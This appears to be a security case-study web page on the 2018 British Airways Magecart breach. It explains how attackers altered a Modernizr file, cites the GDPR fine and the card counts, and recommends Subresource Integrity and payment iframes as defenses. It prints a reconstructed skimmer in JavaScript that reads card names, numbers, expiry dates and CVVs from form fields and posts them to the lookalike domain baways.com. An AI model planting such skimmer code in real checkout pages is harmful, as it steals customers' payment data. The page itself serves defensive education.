DataArena
22 Lines of JavaScript: The British Airways Magecart Card Skimmer
CYBER THREAT & EXPLOIT CASE STUDIESReal-World Breach Forensics

How Sites Get Hacked

Forensic breakdowns of multi-million dollar data breaches, state-sponsored cyber warfare, AI-generated code vulnerabilities, and how security auditors bulletproof web systems.

Inspect Worst Deals Ever Store
HIGH THREATCWE-829 / Insecure Third-Party Script Inclusion6 min read

22 Lines of JavaScript: The British Airways Magecart Card Skimmer

How cybercrime syndicate Magecart modified 22 lines of JavaScript inside an unmonitored Modernizr library file on British Airways checkout servers, intercepting cardholder names, numbers, expiry dates, and CVVs in real time.

Documented Real-World Damage: $26M GDPR Fine & 429,000 Credit Cards Stolen
Interactive Exploit Sandbox

Simulate Attack Payload vs. Defense

Injected Payload (Attacker Input):
Compromised FTP/SSH credentials used to modify static JavaScript bundle on origin server
Server Execution Result (Unpatched Application):EXPLOIT SUCCEEDED
Magecart Skimmer Triggered!
22 lines of injected JS intercepted card details.
Full PAN, Expiry, and CVV transmitted to drop server baways.com.

Source Code Dissection & Fix

// Injected Malicious Code inside /scripts/modernizr-2.6.2.min.js:
// Attackers modified legitimate payment form submit handler:
$('button.submit-payment').on('click', function() {
    var cardData = {
        name: $('#cardholder-name').val(),
        number: $('#card-number').val(),
        expiry: $('#card-expiry').val(),
        cvv: $('#card-cvv').val()
    };

    // FATAL FLAW: Silently exfiltrated raw card data to drop domain baways.com!
    fetch('https://baways.com/api/gate', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(cardData)
    });
});

The Magecart Epidemic

In 2018, British Airways suffered a breach that resulted in a £20 million ($26M) penalty under the UK GDPR. Over 429,000 customers had their complete credit card numbers and 3-digit CVVs stolen during online flight bookings.

How Magecart Operates

Unlike traditional server database hacks, **Magecart** is a digital credit card skimmer that runs directly inside the victim's web browser.

The attackers compromised British Airways' static file server and edited a single file: `modernizr-2.6.2.min.js`. They appended only **22 lines of JavaScript**. Whenever a traveler clicked "Make Payment", the script captured the card details from the form fields and transmitted them in an encrypted payload to a malicious domain: `baways.com` (deliberately registered to mimic British Airways).

The Devastating Nature of CVV Theft

Normally, e-commerce databases are legally forbidden by PCI-DSS from storing the 3-digit CVV security code on the back of a credit card. However, because Magecart intercepts data *as the customer types it into their browser before transmission*, the attackers acquired complete CVVs, enabling immediate fraudulent transactions worldwide.

How to Bulletproof Checkout Forms

  1. **Subresource Integrity (SRI)**: Attach `integrity="sha384-..."` hashes to all external script tags. If a script is modified by even one character, modern browsers refuse to execute it.
  2. **Payment Iframes**: Never build custom HTML input fields for credit cards. Always embed Stripe Elements or Braintree Hosted Fields. These fields reside inside cross-origin iframes that cannot be read by scripts running on your website.

Finished reviewing this exploit case study?

Mark it as analyzed below, or click Next Report to auto-complete.

22 Lines of JavaScript: The British Airways Ma… · DataArena